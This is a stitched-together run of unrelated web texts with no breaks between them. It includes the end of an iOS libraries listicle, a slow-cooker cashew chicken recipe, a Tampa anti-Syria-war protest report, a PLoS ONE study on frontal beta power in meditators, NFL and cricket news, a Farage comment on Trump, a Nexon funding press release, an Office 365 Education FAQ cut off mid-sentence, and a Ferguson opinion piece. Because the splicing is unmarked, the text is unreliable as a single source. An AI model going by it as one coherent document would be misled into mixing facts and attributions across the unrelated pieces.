While reading our top 5 articles, you might find yourself wanting to try out some of these libraries, but you might be too lazy to create new test projects. (We’ve all been there!)
TestDrive is a command line tool that lets you easily try out any CocoaPods pod (or multiple pods) in a playground, with a single command:
$ testdrive name-of-pod
You can also test drive pods for multiple platforms, or directly from a link to a git repository.
Material Motion is a reactive animation library based on Core Animation, that lets you create composable animations.
It is API that allows you to easily chain and compose gestures and animations together to create beautiful interactions. It’s got a bunch of ready-to-use interaction types and a lot of examples in the repository.
Okay, technically this isn’t a library, it’s an open-source project. But this was just too cool not to be included.
GIOVANNI is a Gameboy Emulator… for the Apple Watch!
Yes! You can play official Pokemon games on your apple watch. You might experience some issues, but it’s still amazing that this works!My brother-in-law lived in Thailand for a couple of years and introduced me to delicious Thai food! I have been making this recipe for a couple of years now and it is one of our favorites.
Serves: 6 Slow Cooker Cashew Chicken I love Thai food and this is an easy way to make it for your family! 10 minPrep Time 4 hrCook Time 4 hr, 10 Total Time Save Recipe Save Recipe Print Recipe My Recipes My Lists My Calendar Ingredients 2 lbs boneless, skinless chicken thigh tenders or chicken breast tenders*
1/4 cup all purpose flour
1/2 tsp black pepper
1 Tbsp canola oil
1/4 cup soy sauce
2 Tbsp rice wine vinegar
2 Tbsp ketchup
1 Tbsp brown sugar
1 garlic clove, minced
1/2 tsp ground ginger
1/4 tsp red pepper flakes
1/2 cup cashews Instructions Combine flour and pepper in large Ziploc bag. Add chicken. Shake to coat with flour mixture. Heat oil in skillet over medium-high heat. Brown chicken about 2 minutes on each side. Place chicken in slow cooker. Combine soy sauce, vinegar, ketchup, sugar, garlic, ginger, and pepper flakes in small bowl; pour over chicken. Cook on LOW for 3 to 4 hours. Add cashews and stir. Serve over rice. (If you want like sauce and want to have some to pour over the chicken and the rice, double the sauce ingredients.) 7.8.1.2 122 https://www.sixsistersstuff.com/recipe/slow-cooker-cashew-chicken/ Six Sisters Stuff
Recipe adapted from: 365 Days of Slow Cooking
Items needed: &amp;amp;lt;br /&amp;amp;gt; <br /> <br />
Looking for more slow cooker dishes?
Here are some of our favorites:
Slow Cooker Garlic and Brown Sugar Chicken
Slow Cooker Roasted Vegetables
Slow Cooker Honey Sesame Chicken
Slow Cooker Cheesy Chicken Quesadillas
Slow Cooker Philly Cheesesteak Sandwiches
We’ve put together 50 of our favorite family recipes to make dinnertime a breeze!
You can get this eCookbook for just $4.99 (that’s less than ten cents a recipe)!
Get it HERE!Jared Hamil of Freedom Road Socialist Organization leads the crowd in a chant (Fight Back! News / Staff)
Tampa, FL – Over 100 protesters gathered here, Aug. 31, demand no military attack on Syria by the U.S. Members of the Syrian American community as well as many others assembled at a busy intersection in South Tampa waving signs at motorists who went by. The crowd received many supportive honks from cars and tractor trailer truck drivers. As the number of people grew, the crowd chanted, “No justice no peace, U.S. out of the Middle East!” and “Bush, Obama, same old drama”
Different organizations took part in mobilizing people, including the Friends of the Syrian American Forum, Saint Pete for Peace, Students for a Democratic Society, Veterans for Peace, Tampa Food Not Bombs and Freedom Road Socialist Organization.
Walt Byars, one of the protesters, said “We're here because we don't want the U.S. to attack Syria. Just as we saw with Iraq and Afghanistan, the U.S. government is trying to persuade the American people that we should intervene because of ‘humanitarian’ reasons. The U.S. has been involved in the Middle East for too long, at the expense of millions of people’s lives. We cannot sit back and let this happen. Hands off Syria! Hands off the Middle East!”
Currently President Obama is waiting on congressional approval to attack Syria. People in Tampa are planning to protest outside Congresswoman Kathy Castor's office late this week to demand that the U.S. stay out of Syria.Abstract Objective The present study aimed at comparing frontal beta power between long-term (LTM) and first-time meditators (FTM), before, during and after a meditation session. We hypothesized that LTM would present lower beta power than FTM due to lower effort of attention and awareness. Methods Twenty one participants were recruited, eleven of whom were long-term meditators. The subjects were asked to rest for 4 minutes before and after open monitoring (OM) meditation (40 minutes). Results The two-way ANOVA revealed an interaction between the group and moment factors for the Fp1 (p<0.01), F7 (p = 0.01), F3 (p<0.01), Fz (p<0.01), F4 (p<0.01), F8 (p<0.01) electrodes. Conclusion We found low power frontal beta activity for LTM during the task and this may be associated with the fact that OM is related to bottom-up pathways that are not present in FTM. Significance We hypothesized that the frontal beta power pattern may be a biomarker for LTM. It may also be related to improving an attentive state and to the efficiency of cognitive functions, as well as to the long-term experience with meditation (i.e., life-time experience and frequency of practice).
Citation: Tanaka GK, Maslahati T, Gongora M, Bittencourt J, Lopez LCS, Demarzo MMP, et al. (2015) Effortless Attention as a Biomarker for Experienced Mindfulness Practitioners. PLoS ONE 10(10): e0138561. https://doi.org/10.1371/journal.pone.0138561 Editor: Ryouhei Ishii, Osaka University Graduate School of Medicine, JAPAN Received: December 11, 2014; Accepted: August 3, 2015; Published: October 12, 2015 Copyright: © 2015 Tanaka et al. This is an open access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited Data Availability: All relevant data are within the paper. Funding: These authors have no support or funding to report. Competing interests: The authors have declared that no competing interests exist.
Introduction Many studies seek to understand the neurophysiology of sustained attention [1–5]. In conditions when more external stimuli than can be fully processed activate the central nervous system (CNS), attentional impairments result, such as stress, distraction, forgetfulness, anxiety, memory loss, and fatigue [6–8]. This impairment is discussed in studies of working memory, default mode network, and attentional disorder studies. Recent studies have demonstrated the role of meditation as an important tool for attention management [9–11]. In this context, mindfulness meditation is one important method that increases attention performance. Specially, some studies demonstrated that a specific type of mindfulness, Open Monitoring (OM) [12], increases posterior alpha power with a high frontal theta power [13,14]. Researchers also observed that experienced OM meditators showed an increase of occipital and frontoparietal gamma activity, due to an improvement of sensory awareness [15,16]. Beta activity in relation to meditation has only been investigated in a few studies until now. In the current literature we have found four studies that examined beta power and meditation. One study observed the general increase of beta power in the elderly meditation novices [17]. Dor-Ziderman et al. (2013) investigated the long-term OM and observed a beta power decrease in the ventral medial prefrontal cortex [17,18]. Further studies showed a different pattern of frontal beta power when compared to another meditation practice [19,20]. OM meditation favors sustained attention without judgment of ongoing phenomena [12]. These mindfulness properties are thought to improve self-regulation and stress management by allowing individuals to refrain from trying to control the content of mind [21–23]. Nevertheless, we suggest that frequency plays an important role when comparing long-term meditators (LTM) with first-time meditators (FTM), particularly regarding activity in the frontal areas [20,21,24]. Beta band frequency (13-30Hz) is associated with attention, vigilance and processing information [25,26], but the literature regarding the neurophysiology of frontal beta activity and meditation is scant. We observed a lack of consistent reports on the regulatory mechanisms of beta oscillations related to the self-awareness process in OM. In this context, the aim of the present study was to investigate frontal beta power differences between long-term and first-time meditators, before, during and after a meditation session. We expected increased beta for both groups during OM versus during rest, before and after OM, but generally lower beta in LTM vs. FTM due to lower sustained attention effort expected in the group of experienced meditators.
Materials and Methods Participants We recruited twenty-one participants, out of which eleven were experienced meditators (7 men, mean age 43,8 ± 17,53) and ten were healthy first-time meditators (5 men, mean age 40,10 ± 14,72). The group of experienced meditators includes monks and laymen from various Buddhist traditions, and were recruited from three major meditation centers (i.e., Zen, Kadampa and Vipassana), localized around the Federal University of Rio de Janeiro (UFRJ). The group of first-time meditators (i.e., control group) was recruited at the UFRJ. We contacted all the participants two weeks before starting the research. The condition for the experienced meditators was to have been practicing regularly at least for the last five years (12,23 years of practice ± 7,65), while living under the same social conditions as the control group (i.e. in the same city, and to be exposed to the same environment; i.e., no secluded life in Buddhist centers). All participants were medication-free and had no sensory, motor, cognitive or attention deficits that could affect their performance. Subjects gave their written consent (according to the Helsinki Declaration) to participate in the study. The Ethics Committee of the Federal University of Rio de Janeiro (IPUB/UFRJ) approved the experiment. Task protocol Subjects sat in a straight position, in a darkened and noise-free room, to minimize sensory interference. First, we recorded 4 minutes of resting EEG (resting instructions were particularly emphasized for meditators, to refrain them from entering the meditative state). After that the subjects were recorded while performing the OM for 40 minutes. The experiment ended by recording 4 minutes of rest again. An auditory signal marked the beginning and end of each stage. Mindfulness instructions for LTM and FTM were: “pay attention to whatever comes into your awareness. Whatever it is, a stressful thought, an emotion or body sensation, just let it pass in an effortless way, without trying to maintain it or change it in any way, until something else comes into your consciousness”[27]. The researcher gave the instructions right before the start of the practice, as we believed this would promote better motivation as a first attempt of a new activity. Due to its simplicity, the technique could be implemented by all subjects, and we considered this as particularly important, since subjects reported that they had no problems to follow the instructions. EEG recording The International 10/20 EEG electrode system (Jasper, 1958) was used with a 20-channel EEG system (Braintech-3000, EMSA Medical Instruments, Brazil). The 20 electrodes were arranged on a nylon cap (ElectroCap Inc., Fairfax, VA, USA) yielding mono-polar derivation using the earlobes as reference. The impedance of EEG and EOG electrodes was kept between 5–10 kΩ. The amplitude of the recorded data was less than 70μV. The EEG signal was amplified with a gain of 22.000 Hz, analogically filtered between 0.01Hz (high-pass) and 80Hz (low-pass), and sampled at 200 Hz. The software Data Acquisition (Delphi 5.0) from the Brain Mapping and Sensory Motor Integration Lab, was employed with the notch (60 Hz) digital filter. Data analysis Data analysis was performed by using MATLAB 5.3 (Mathworks, Inc.) and EEGLAB toolbox (http://sccn.ucsd.edu/eeglab). We applied a visual inspection and Independent Component Analysis (ICA) to remove possible sources of artifacts produced by the task (i.e., blink, muscle). We collected the data using the bi-auricular reference. Furthermore the data was transformed (re-referenced) to common average reference, after conducting the artifact elimination by ICA filtering. At first, we divided the tasks (rest 1, meditation, rest 2) into segments of 6000 data points, corresponding to 30-second blocks. Secondly, as meditation trials lasted 40 minutes [28,29,25], we chose to analyze eight blocks (total of 4 min), corresponding to the moment between 30–34 minutes, which is consistent with the moment in which experienced meditators recognize entering a deeper state [26]. For that moment we had 24 trials of 30-second blocks. A fast Fourier transform method was used to obtain the mean power amplitudes in the beta (13–30 Hz) band. The number of samples was 6000 (30s × 200Hz) with rectangular windowing. We calculated absolute beta power on each lead individually every four seconds, totaling seven excerpts for each block. Thus, 1680 was the total data of the control group (24 trials x 7 absolute power samples x 10 subjects) and 1848 the total data of the meditator group (24 trials x 7 absolute power samples x 11 subjects). In fact, this sampling rate is commonly used in other frequencies, but we focused on the beta band due to a specific analyzis [30,31]. As the data was not normally distributed, a logarithmic transformation was used. Statistical analysis In the statistical analysis, we log10-transformed the EEG absolute power values by the SPSS software (version 15.0) to approximate a normal distribution. We performed a two-way ANOVA and a post hoc test (Bonferroni) to analyze the factor group (LTM x FTM) and moment (rest 1, meditation and rest 2) of absolute beta power for each electrode individually. The effect size was calculated as Cohen's d, i.e., changes' mean divided by changes' SD. We also performed a t-test for all frontal electrodes (Fp1, Fp2, F3, Fz, F4, F7 and F8) comparing LTM versus FTM groups for each moment (rest 1, meditation and rest 2).
Discussion The aim of this study was to clarify the neurophysiology of absolute beta power in the frontal area comparing FTM and LTM performing OM meditation. We hypothesized that attentional regulation promotes an altered frontal beta modulation[32–34]. We observed that the maintenance of attention in the present moment produced lower frontal beta power in LTM when compared to FTM (Fig 3), representing a specific meditative trait. Our preliminary results indicate a beta power increase in the frontal area during meditation for both groups. The findings are supported by the previous studies relating beta activity and attentional state [35–37,24,38]. Therefore, some studies have shown different understanding about OM mechanisms, as discussed below. Frontal beta rhythm is prevalent during attentional activity. However, its role in the meditative state remains unclear. Beta is a low-mid frequency range rhythm that is detected when subjects are alert and in an attentive state [5,35], and also reflects the oscillation of the anticipatory processes in the motor system [36,39]. Moreover, this process seems to be different in OM. Previous studies demonstrated that OM improves self-regulation and stress management by allowing individuals effortless attention processing [40–42]. The literature has shown that the intensity and life-time experience of meditation practice contribute to the progression of the mental training [32,43,44]. Moreover, previous studies have shown that OM practice improves the maintenance of attention depending on the time of training and may contribute to the efficiency of the cognitive processes such as executive processing (i.e. working memory)[34]. Likewise, LTM are able to modulate emotion and cognition through the bottom-up pathways without the main influence of the prefrontal cortex[33]. The opposite pattern is noted with FTM, showing a high cognitive control to modulate attention and perception, suggesting a top-down regulation[32,33]. In this case, it is expected that the FTM present higher beta power. Our results are in agreement with this hypothesis. We found a similar beta pattern for both groups at all the moments investigated (rest 1, meditation, rest 2). However, we observed that FTM presented a higher beta band during meditation when compared to LTM for all electrodes observed, except for the right prefrontal cortex (i.e., Fp2), as showed in Fig 1. In other words, we suggest that FTM`s higher beta in the frontal cortex occurs due to the fact that this group exerts more effort to maintain the attention fixed on a specific thought or sensation, also called “object” (i.e. breath, body sensation); this is seen in FTM more than in LTM, who are already better trained to sustain the OM practice[19]. The OM practice provides a dynamic flow of attention different from focused attention[45]. Some mindfulness body scan studies have shown a misperception decrease and a sensitivity increase[46–48] in case of distress deriving from unpleasant body sensations, such as pain sensitization[49,50]. Recently, Engel and Fries (2010)[36] demonstrated that top-down and bottom-up frontal beta activities are associated with expectancy of the following event, thus also manifesting attentional activity[51]. Although we did not measure the level of expectancy of our subjects, we hypothesized that the beta power increased in FTM was also associated with the level of expectancy and low flexibility of sustained attention without focus on a specific object. In this context, the differences between the groups are associated with the meditator´s ability to modulate sensation and perception strategies [32]. The OM meditative state depends on a specific mental training which is optimized by the experience and/or time of practice, and it is only generated arousal and motivation [51]. Other recent studies have implicated different pathways to explain lower frontal activity during the attentional process, observing that the prefrontal cortex does not modulate attention processing during the OM practice. The discussion is based on the bottom-up processing during OM meditative state. This meditative practice, often viewed as an emotional regulation strategy, has been associated with a lower frontal cortex activity [32,52]. At the same time hyperactivity occurs in the prefrontal cortex when related to an altered state working memory, executive attention, emotional reappraisal and cognitive monitoring[32,33,53]. Furthermore, this increased activity is also associated with the narrative focus, occurring mainly in the medial prefrontal cortex. The typical narrative focus (e.g. discursive thought) impairs attention-task performance, involving mental elaboration and evocation and overloading working memory processies [54]. Examining the interaction in Fp1, we observed that for FTM the rest 1 is different from the meditation moment; and we did not find this difference for the LTM (Fig 1 and Table 1). Our results also demonstrated that lower beta power found for LTM is related to effortless attention, which is not found for FTM. This finding suggest that experienced meditators are trained to maintain the attention state even before starting the meditation; which suggests that the meditation training regularity improves attention. The LTM medial prefrontal cortex (Fz) showed higher beta power at rest 1, due to the maintenance of the self-referential mental processing even when not meditating[51]. This pattern was different during meditation on account of a lower activity of the LTM supporting the effortless hypothesis. In both situations, increased beta power was observed during meditation, but the FTM showed higher power than LTM. In conclusion, LTM have a particular trait, which differentiates them when compared to FTM. Lower frontal beta activity is associated with the particularity of OM being related to bottom-up pathways. On the other hand, an increased activity in the frontal area has been found when attention was focused on a specific object, used as an attentive state maintenance tool by FTM more than by LTM. We hypothesize that this pattern associated with LTM improved their attentive state, while maintaining low cognitive demands. Due to the enhanced learning, related both to time and intensity of practice, it may be a promising biomarker to differentiate experienced mindfulness practitioners in further studies.
Author Contributions Conceived and designed the experiments: GKT MC PR. Performed the experiments: GKT. Analyzed the data: MG JB ST BV HB. Contributed reagents/materials/analysis tools: LFB LCSL. Wrote the paper: GKT TM ST MPD JGC BV.ANDERSON, Ind. -- Indianapolis Colts receiver Donte Moncrief was raised in Raleigh, Mississippi, where his father taught him it was better to give rather than receive.
That's why when he found out his former teammate Zurlon Tipton died after accidentally shooting himself in June, Moncrief, through his grieving, turned his attention to Tipton's daughter Zoe.
"He's still here watching over us," Donte Moncrief said of his friend and former teammate Zurlon Tipton. Zach Bolinger/Icon Sportswire
Moncrief plans to help support Zoe anyway possible and love her as if she were his own daughter.
Clothes, money. It doesn't matter. The 22-year-old Moncrief will be there.
"That comes from being from the South," Moncrief said. "Wanting to help people and always give back. Like my dad always says, it's better to give than receive. I look at it as if she's my daughter and I want to make sure she's well taken care of. I know that's something he would do for me."
Moncrief said Zoe will be at their Week 1 game against the Detroit Lions at Lucas Oil Stadium.
Moncrief didn't originally want believe the news about Tipton. His good friend, the one he often bowled and played pool with, wasn't gone. The Colts receiver immediately texted Zurlon Tipton's phone. There was no response. It wasn't until Tipton's former girlfriend called Moncrief to tell him about the unfortunate accident.
Moncrief, who was in Mississippi at the time, felt his heart sink. The two had just talked the day before about getting together at Moncrief's place in Indianapolis to play pool.
Moncrief wishes that day would have happened.
"I was with my daughter when I found out," he said. "My daughter had met him for the first time right before he went back to Detroit. Come to find out he's from Detroit and most of my family is from Detroit, too."
Tipton appeared in 16 games over two seasons for the Colts, gaining 38 yards on 15 carries. He was released by the team last December.
Moncrief and Tipton grew close during their two seasons together. Tipton was one of the locker room jokesters, often keeping his teammates loose and with a smile on their faces.
"Our lockers were near each other," Moncrief said. "In the meetings his seat was right in front of mine. He would say things like, 'Look up, you're shining like a light.' We see those spots and me and [T.Y. Hilton] be like, 'Man, wish Tip was still here.'"
Moncrief sees Tipton every time he looks at Zoe or when he glances up in the sky.
"He's still here watching over us," Moncrief said. "He's joking, rapping, singing and walking around with his shirt off like he's cut up. That's just him. He's keeping everything going."The former Ukip leader made the claim as the US Presidential election enters the final straight, with just 47 days until Americans cast their vote. Mr Farage says he is convinced the wave of anti-establishment politics, which manifested itself in the vote to leave the bureaucratic Brussels bloc on June 23, will sweep over America come polling day.
GETTY Brexit proves Trump can become President, according to Farage
The Brexit orchestrator said: “I now strongly think Trump will win. “I think Brexit is the first kickback against the establishment. It’s not a British event, it’s not a European event. It’s a global event and I think it has implications for every Western democracy. In the case of America – absolutely.” His comments come as Trump has virtually closed the gap on Democratic rival Hillary Clinton, with the pair neck-and-neck in the polls.
There are people in America who look at Washington, who look at the lobby and the power of big business, who look at the detachment of a political class from them and their lives in a very similar way to how many of us saw Brussels Nigel Farage
The business mogul previously had no experience in frontline politics, but has gone from rank outsider to Republican candidate in just over a year. Mr Farage added: “There are people in America who look at Washington, who look at the lobby and the power of big business, who look at the detachment of a political class from them and their lives in a very similar way to how many of us saw Brussels.” The former Ukip leader spoke at a Trump rally last month, saying he would not vote for Clinton "even if she paid me".
GETTY A vote for Trump would bring about 'American independence'
Mr Farage drew parallels from the Brexit campaign, saying a vote for Trump would bring about "American independence". Talking about the rally in Mississippi where he stopped just short of endorsing Trump, Farage said it "seemed to go down quite well".
President-Elect Donald Trump in pictures Tue, December 13, 2016 Donald John Trump is an American businessman and politician who is President-elect of the United States as well as chairman and president of The Trump Organization Play slideshow 1 of 64
GETTY Farage claimed he wouldn't vote for Hillary 'even if she paid me'NACAC Information
SACRAMENTO, Calif. – There is only a select group of athletes that get to wear the threads of their home countries. The group that gets to do that on more than one occasion is even smaller.
Count junior Kiara Porter in the latter group after Porter earned a spot on the Team USA U-23 squad after her top-12 performance in the 400m at this weekend's USA Outdoor Track & Field Championships in Sacramento, Calif.
With her spot, Porter will race in the 2014 NACAC Championships in Kamloops, Canada in early August. The NACAC is a competition held every two years in conjunction with the North American, Central American and Caribbean Athletic Association. There will be 31 countries represented at the event.
This will be the second time that the Yorktown, Va. native wore the red, white and blue after she was a part of the 4x400 meter relay squad at the 2012 IAAF World Junior Championships in Barcelona, Spain.
In only three seasons at VCU, Porter is a three-time All-American (two outdoor and one indoor), three-time Academic All-American, two time conference performer of the meet and record holder for every school sprints record, both indoor and outdoor.
The Yorktown, Va. will first lace them up in the 400m semifinals on Friday, August 8 at 7:45 p.m. EST.LOS ANGELES--(BUSINESS WIRE)--Nexon America is kicking off the second round of the Nexon iNitiative, a million dollar program designed with the intent to seek out the most promising independent video game projects and provide funding to support the next generation of game developers from around the world.
Nexon is now accepting submissions through April 30, 2011 at the official Nexon iNitiative website: http://initiative.nexon.net.
The Nexon iNitiative will award game developers a share of $1 million in development funds for projects that align with Nexon’s focus on community building and long-term user engagement.
The first Nexon iNitiative was launched in March 2010. Canadian developer Antic Entertainment and Polish developer one2tribe were two Nexon iNitiative recipients chosen from a pool of more than 100 candidates in 2010, and each earned a share of more than $1 million in development funding. Both companies are currently creating online game projects that will be co-developed and published through Nexon’s global distribution network, which currently services 30 games in more than 71 countries.
“The Nexon iNitiative has been a source of inspiration for Nexon in that it’s provided us with the creative incentive to expand to platforms outside of the PC,” said Won Il Sue, Nexon America’s vice president of business development. “We anticipate competing in the social gaming space and other platforms, thanks largely in part to innovative game developers discovered through the Nexon iNitiative. By combining our decade of experience perfecting the microtransaction business model with the expertise of the game developers we’re funding, we anticipate that the results will be an evolved, innovative and more engaging social games.”
Through the Nexon iNitiative, Nexon is looking for potential games that have wide-ranging audience appeal and which encourage community and social interaction. Flash, client-based games or ports from other platforms are all welcome submissions. Games with strong online and multi platform elements will get serious consideration, as will game concepts that align with Nexon’s goals.
For complete submission rules and more information about the Nexon iNitiative, visit: http://initiative.nexon.net.
About Nexon America, Inc.
Nexon America Inc. is the North American publishing arm of Nexon Group, a pioneer of interactive entertainment software and the world's leader in massively multiplayer online games. Based in Los Angeles, Nexon America was founded in 2005 to bring the best of online entertainment to the North American audience. The company's growing library of titles includes the world famous franchise MapleStory; the new fantasy life of Mabinogi; the fast-paced, first-person shooter Combat Arms; the action-adventure RPG Dungeon Fighter Online; the online, arcade-style multiplayer, hyper-puzzle action game PopTag!; and the recently launched physics-based action online game, Vindictus. The foundation of all Nexon America titles is the item selling business model, in which users access the full game for free and can later opt to pay for game enhancements.Office 365 Education Self-Sign up: Technical FAQ
Office 365 Education provides self-service sign up for your students, faculty, and staff using their school email addresses. After signing up, students and teachers will be able to get started with Office 365 right away. Review the frequently asked questions below to learn more about Office 365 Education benefits for your students, faculty and staff.
How are you making it easier for my students, faculty, and staff to sign up for Office 365? Students, faculty and staff who have valid school email addresses can sign up and use Office 365 services, including, in some cases, Office 365 ProPlus and OneDrive for Business. Microsoft will enable the capability for students, faculty and staff to sign up for Office 365 simply by using their school email addresses. Office 365 A1 includes 1 terabyte (TB) of OneDrive for Business storage per user for school-related files, Office Online, SharePoint Online and Yammer. Some schools are eligible for Office 365 A1 Plus, which includes Office 365 ProPlus, and allows students, faculty and staff to install the latest version of Office on up to five PC or Mac computers* and on other mobile devices, including Windows tablets and the iPad. *Access and Publisher are available on PCs only. OneNote for Mac is available as a separate download from the Mac App Store. Article Top
What are the eligibility requirements for students, faculty, and staff to receive Office 365 A1 Plus? Schools qualify for Office 365 A1 Plus when they license Office institution-wide for faculty and staff through Enrollment for Education Solutions, Open Value Subscription Education Solutions, Cloud Solution Provider (CSP), or a school contract. After the school qualifies, all active full-time or part-time students, faculty, and staff are eligible and can get the plan directly from Microsoft at Office 365 Education if they meet all three of the following requirements: They have a school-specific email address provided by the school (for example, sara@contoso.edu) that can receive external email.
They are of legal age to sign up for an online offer individually (13 years old).
They have Internet access. Article Top
What does this mean for my institution? If your academic institution is enrolled to allow students, faculty, and staff to sign up directly with Microsoft, there are three scenarios that might apply for eligible students, faculty and staff who attend your institution: Scenario 1: Your school already has an existing Office 365 environment with student accounts. In this scenario, if a student, faculty or staff already has a work or school account in the tenant (for example, contoso.edu) but does not yet have Office 365 A1 Plus, Microsoft will simply activate the plan for that account, and the student, faculty or staff will automatically be notified of the additional services, including the ability to download Office 365 ProPlus. If the student, faculty or staff already has an Office 365 A1 Plus account or any other Office 365 ProPlus license assigned through your school, they will be redirected to sign in with their existing credentials and receive a notification that includes an Install now prompt.
Scenario 2: Your school has an existing Office 365 environment without student accounts. In this scenario, the student, faculty or staff does not yet have access to any Office 365 services. In this case, the student, faculty or staff can sign up at Office 365 Education and will automatically be given an account. This lets the student, faculty or staff access services included with Office 365 A1. For example, if a student named Sara uses her school email address (for example, Sara@contoso.edu) to sign up, Microsoft will automatically add Sara as a user in the contoso.onmicrosoft.com Office 365 environment and activate Office 365 A1 for that account. If Sara attends a school that is eligible for the student use benefit, she will be provided an Office 365 A1 Plus license which will allow her to install Office 365 ProPlus.
Scenario 3: Your school does not have an Office 365 environment connected to your email domain. If Sara signs up for Office 365 A1 and her institution has not yet signed up for Office 365 services, Microsoft will create an Office 365 environment with that email domain, add Sara as a user, and automatically provide the services to her account. All subsequent users with that same email domain will be added to that environment, and the appropriate services will be provided. At any time in this scenario, the school’s IT department or domain admin can sign up for Office 365 A1 and start managing existing users and the service. Article Top
How does this impact my security and compliance? With OneDrive for Business, as with all Office 365 services, the IT administrators stay in control. The Office 365 admin center provides a single location from which administrators can manage all of the aspects of OneDrive for Business, including site collection and user profile management, configuring search and discovery, permissions management and reporting, and more. In addition to centralized control, admins can manage many aspects of users and content, including access management, storage allocation, and content sharing limitations. Compliance management options include selective audits, e-Discovery, and current usage summaries that can be used to manage compliance and investigate any areas of concern. To learn more about managing security and compliance with OneDrive for Business, see OneDrive for Business.
What steps do we need to take to make this available to students, faculty, and staff? There are no administrative actions your institution needs to take to enroll, in most countries. (In some countries, you'll need to opt in by following the steps below under Opt in steps required for some countries.) You can simply communicate the availability of Office 365 A1 or Office 365 A1 Plus to your students, faculty and staff by using content from the Office 365 Campus Marketing toolkit. The toolkit contains template emails, posters, web banners and more to help you increase awareness among students, faculty and staff. Contact your Microsoft representative with specific questions about the steps your school should take. Important: If your institution has multiple email domains, you may want all email address extensions to be in the same tenant. To do this, before any students, faculty and staff sign up for Office 365 A1, create your primary Office 365 tenant and add all of your email address domains to that tenant. It's important to do this first, because there's no automated way to move users across tenants after they've been created. Opt in steps required for some countries Customers in certain countries must opt in to allow new users to join existing Office 365 tenants. In those countries, to make Office 365 A1 or Office 365 A1 Plus available to students and faculty, follow the steps below. Note: These steps require the use of Windows PowerShell. To get started with Windows PowerShell, see Getting Started with Windows PowerShell. Install the Microsoft Online Services Sign-In Assistant for IT Professionals (Beta). (Download it here.) If you haven't already, install the latest 64-bit version of the Azure Active Directory |
looks to find replacements for Dav Whatmore and fielding coach Julien Fountain in time for the forthcoming Asia Cup in Bangladesh. In November 2013, the PCB had decided not to extend Whatmore's contract as coach.
Mohammad Akram's contract as Pakistan's bowling coach has been extended by two years, beginning February 2014. His previous contract, with a one-year tenure, had ended in August 2013 and Akram has been working on a monthly basis since then, due to uncertainty in the PCB leadership.
The PCB had advertised for the positions last month and constituted the coach committee to recommend names after evaluating the applications. The committee met at the Gaddafi Stadium, Lahore to select the probables and suggested the PCB take a final call on the selection.
"I am happy that no foreigner has applied for the job and it's not surprising at all," Akram said after the meeting. "We have been favouring foreign coaches in the past but it's time to promote our own coaches who have been working for long. Our recommendations are merely on the basis of merit and according to cricket sense, which eventually will prove beneficial for the country in the longer run."
ESPNcricinfo has learnt that Mohsin Khan and Waqar Younis are among the contenders for head coach.
Mohsin served as the interim coach for five months in 2011-12 and in this period Pakistan beat England 3-0 in the UAE. He was replaced by Whatmore in March 2012. Waqar was appointed coach of the national team in March 2010. Under his guidance, Pakistan reached the semi-finals of the World Twenty20 in West Indies and won the Test and ODI series in New Zealand. Waqar's time as coach was checkered by the spot-fixing controversy and Zulqarnain Haider's move to England after receiving death threats.
In the past, Pakistan was coached by former players until Richard Pybus took over as the first foreign coach in 1999. Since then, Bob Woolmer, Geoff Lawson, Whatmore and Fountain have served coaching roles.
Umar Farooq is ESPNcricinfo's Pakistan correspondent. He tweets here
© ESPN Sports Media Ltd.August 20, 2014
The people demonstrating against racism and police violence in Ferguson, Mo., have kept up that fight despite every effort to intimidate or pressure them off the streets.
FERGUSON, MO., continues to be a war zone each night, a week and a half after 18-year-old Mike Brown was shot and killed by police for the "crime" of walking in the street.
From political leaders and media outlets, there are continuous calls for "peace," for "calm," for "reconciliation," for "restraint." But why are they demanding "peace" and "restraint" from only one side--and the wrong side at that?
It's true that every day and every night since Brown was killed, people have gathered in Ferguson--residents of the small city itself; others from the surrounding St. Louis area; still others who, yes, have traveled to Missouri to proudly express their solidarity--to demand justice and an end to police murder and repression.
They are right to do so. The demonstrators should be praised for their determination that this killing will not go unprotested--that there will be no peace without justice.
These are the people who are asked to be "calm"--but they aren't the ones causing the chaos in Ferguson. The responsibility for that lies with the police and the National Guard, supposedly deployed to preserve order, but whose presence perpetuates disorder. It lies with the political leaders ordering these cops and soldiers into action every night, even when it's obvious to anyone with an ounce of sense that an overwhelming show of militarized force escalates the conflict.
So obvious that CNN correspondent Jake Tapper--as mainstream a reporter as any in the U.S. media establishment--unexpectedly told it like it is on Monday night in a live report from Ferguson that likened police conduct there to U.S. troops waging war in Afghanistan:
I want to show you this, okay? To give you an idea of what's going on. The protesters have moved all the way down there...Nobody is threatening anything. Nobody is doing anything. None of the stores here that I can see are being looted. There is no violence. Now I want you to look at what is going on in Ferguson, Missouri--in downtown America, okay? These are armed police, with...semi-automatic rifles, with batons, with shields, many of them dressed for combat. Now why [are they] doing this? I don't know. Because there is no threat going on here. None that merits this. There is none, okay? Absolutely, there have been looters. Absolutely over the last nine days, there's been violence. But there is nothing going on on this street right now that merits this scene out of Bagram. Nothing. So if people wonder why the people of Ferguson, Missouri are so upset, this is part of the reason. What is this? This doesn't make any sense.
THE APPEALS by political leaders and law enforcement officials for "peace" are belied every night by the police occupation of Ferguson--initially carried out by a nearly all-white force in a majority African American city, later supplemented with more cops from around the area and now National Guard troops, all of them armed with the highest-tech weaponry and equipment.
Mustafa Abdullah, a program associate with the Missouri ACLU, described what it was like in Ferguson on the first day the National Guard was deployed:
I was threatened with arrest five times in the space of about an hour. The first time I was just standing on the sidewalk, I might have been standing there for no more than a minute, and I had three officers come up to me and tell me that I couldn't be standing for more than five seconds. They said if I stood for more than five seconds, then I would be arrested.
Later, Abdullah said, he was walking with a local reporter, and "the same group of officers came up to me and said, 'Are you lost? You need to get to where you're going.'...I told them that I was confused because I was just told that I couldn't be standing for more than five seconds so I just had to keep moving on the sidewalk."
It's hard to imagine a provocation more certain to produce unrest and distrust than this daily show of massive police force.
And, of course, there's the original provocation, too: an unarmed 18-year-old African American has been killed, shot at least six times by a cop who confronted him over walking in the street--and there is no sign that anyone will be held accountable for this cold-blooded murder.
Thus far, Wilson has not been charged with a crime, much less spent a moment in a jail cell--which would have been the instant fate of Mike Brown or any African American man, if somehow the roles were reversed in the shooting. As MSNBC correspondent Craig Melvin reported:
Everyone I've talked to--peaceful protesters as well as others I've talked to that didn't appear to be here protesting--all of them have said the same thing: if there were charges filed against the police officer responsible for the shooting, if he was indicted...they are fairly confident that these streets would be pretty close to empty shortly thereafter.
Yet authorities in Ferguson, in Missouri and beyond persist in the delusion that the problem is the protesters, not the racist atrocity the protesters are protesting--and so the answer is to ratchet up repression.
